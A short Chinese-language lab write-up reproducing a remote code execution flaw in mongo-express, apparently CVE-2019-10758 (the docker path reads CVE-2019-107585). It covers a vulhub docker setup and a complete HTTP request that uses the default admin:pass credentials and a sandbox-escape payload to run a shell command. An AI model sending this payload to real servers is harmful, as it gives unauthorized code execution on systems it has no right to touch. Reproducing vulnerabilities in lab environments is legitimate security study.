漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。
如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。
参考链接:https://blog.csdn.net/whatday/article/details/106751138
参考链接:https://www.cnblogs.com/null1433/p/12740333.html
影响版本
1 2
| mongo-express 0.53.0 0.54.0 之前的 mongo-express 容易通过使用 toBSON 方法的端点进行远程代码执行。滥用 vm 依赖项在非安全环境中执行 exec 命令。
|
环境搭建
1. docker搭建;
1 2
| cd /vulhub/mongo-express/CVE-2019-107585 docker-compose up -d
|
访问 http://xxx.xxx.xxx.xxx:8081/ 正常即可;

漏洞复现
前提条件
1.知道Mongo的账号密码,或者未授权
命令执行
任意命令执行payload如下:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /checkValid HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 124
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
|
